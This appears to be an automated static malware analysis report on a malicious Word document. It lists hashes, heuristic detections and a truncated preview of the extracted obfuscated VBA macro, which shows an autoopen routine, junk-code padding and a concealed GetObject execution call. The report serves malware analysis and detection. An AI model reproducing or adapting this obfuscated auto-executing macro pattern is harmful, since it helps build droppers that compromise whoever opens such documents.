Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 83ec56a0cf16cf96…

MALICIOUS

Office (OLE)

138.5 KB Created: 2019-04-09 09:09:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 21834371943eb63b86118e20dbf4b291 SHA-1: 9a1a99be7233d19e8666ca0e80e4f86f0c2e297f SHA-256: 83ec56a0cf16cf96b524c41f2445c3e08100ead1717b20175fe5c09c0b2a05ce
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing a VBA macro with an autoopen subroutine. Heuristics indicate the use of GetObject, suggesting an attempt to execute code or load external resources. The presence of a VBA macro with auto-execution capabilities strongly implies a downloader or dropper functionality, aiming to fetch and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6935045-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6935045-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6952 bytes
SHA-256: 51bf0fd8e89a57ddabd31c014d8f5f9051b20a11cf22535e823f24dbb4f76883
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OCAoDoQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dDBAAAAB"
Attribute VB_Base = "0{EBFDFC19-B7BF-418A-97FE-AB632A05B910}{7795F890-6BF8-4739-AAEE-3776333732ED}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YcAACGXo"
Attribute VB_Base = "0{49255DC2-CEAC-4F8F-BF71-AF58B31CE62B}{3FCA97B8-0E60-4194-ACE6-379473253605}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "CZU_BA41"
Function MAcwxQD()
      If rBUAUAA > vAGUGAAA Then
      HDDQ1AAB = 199577434 - AAAUZQU
      If oAZDXAA < sU1UZDA Then
         Day Atn(Bo4QAwo)
      End If
   End If
   Set zXXoA4 = tcDBZo
      If HQGkUA > YAAkAx Then
      fAACAAB = 574569904 - mcQUAQ
      If EUGAAAA < HwAUGCQA Then
         Day Atn(rDwk__AU)
      End If
   End If
   Set PoQACAoG = vUAADAZA
End Function
Sub autoopen()
uADADGQB
End Sub
Function S11DAx()
      If WAXAAAAw > KBxcUAAA Then
      pcAXAAA = 239042529 - NAAQUXUX
      If dkCAAwXU < bUXCc_ Then
         Day Atn(VQXAxAA)
      End If
   End If
   Set dQAAUQ = BwDxAAkA
      If K_1GBAD > zUwUxC Then
      lAACQAA = 382264621 - C4AGZkX
      If cUQcBDA1 < EZAAD_4U Then
         Day Atn(N1UAAG11)
      End If
   End If
   Set aDxDkX = dAACUD
End Function

Attribute VB_Name = "sACUAZ"
Function TAADDXCB()
      If kZAXAwA_ > PGk4GG Then
      kAAAAZU = 758398612 - tAB4AXQ
      If N4GADGxQ < sGA14A Then
         Day Atn(fkZAAoB)
      End If
   End If
   Set kACDUAB = hDGoCB
      If DXA_QA > rXADA4A Then
      ABZDUB = 812821125 - wAxBQAQ1
      If oUB_A1A < PcXABAB Then
         Day Atn(jACZBZ)
      End If
   End If
   Set OAA1AUU = WUUQAQ_
      If VBAkAGA > p_kBDA Then
      LAk1oDU4 = 356228888 - wUACUDwc
      If iBX_ADU < iAXGAADA Then
         Day Atn(ZADA_4cQ)
      End If
   End If
   Set HX4ABAC = O1QAAB
End Function
Function uADADGQB()
On Error Resume Next
      If WoAAAAAc > QUwDACD Then
      FoBAQUG = 659060732 - KAABQ4B
      If sQAAcA < K_owQQ Then
         Day Atn(swZDBc)
      End If
   End If
   Set X_DB_ZG = wAXc4A
      If MkDA1cBQ > kkXcAoA Then
      ACwAAxXA = 735108109 - XADUB1
      If CBDAwCX < D1AACXD Then
         Day Atn(w1DBkA)
      End If
   End If
   Set OAAAAQ1_ = kxocQAD
hBk1_XAC = YcAACGXo.McxAwB + YcAACGXo.qXxAZAkA + YcAACGXo.McxAwB + YcAACGXo.fZkXD1GU + YcAACGXo.McxAwB
      If fQAAkAQ > YAA1BAD Then
      k_AADocD = 301118368 - cAwA1AAG
      If aAAoAZBQ < pDA44AX Then
         Day Atn(CCCQxQ)
      End If
   End If
   Set wZAGAcX = cAUk1_c
      If JABAAwA > lGDAAA Then
      iXDAAAcc = 697559481 - NUABAX
      If nD4UZxBA < AAAxUCA Then
         Day Atn(NBABcxB)
      End If
   End If
   Set qAAAAU = YoxwwBDU
Set VAAAQCG = GetObject(YcAACGXo.McxAwB + YcAACGXo.qXxAZAkA + YcAACGXo.McxAwB + YcAACGXo.fZkXD1GU + YcAACGXo.McxAwB + YcAACGXo.AAAx_GB + YcAACGXo.McxAwB)
      If sAZA4AA > AUX1xGA Then
      a4wwXAUB = 819632414 - tU1BkAUA
      If SQBGAQ_w < bZ4AAU Then
         Day Atn(BQcDcQ)
      End If
   End If
   Set jAXc1AX = TBAQA4AZ
      If zcZB_AA > LACoB1 Then
      OAxAQQAQ = 350164482 - wcBAxwAA
      If iZABAxQA < zADQZA Then
         Day Atn(XAkAXQ)
      End If
   End If
   Set GAGAGAA = jQAA1ABA
      If sxBwAUc > JwAxQUA1 Then
      GQ_BcZBU = 363408916 - PAQQ_AQU
      If L_GA_AAB < cDXUxUA Then
         Day Atn(QAXkoUAA)
      End If
   End If
   Set OoBXAA = bQkAGAAA
If 352177 = 352177 Then
      If ZBZADAAA > uQD_GQDZ Then
      EGAAcQQ = 28786758
... (truncated)

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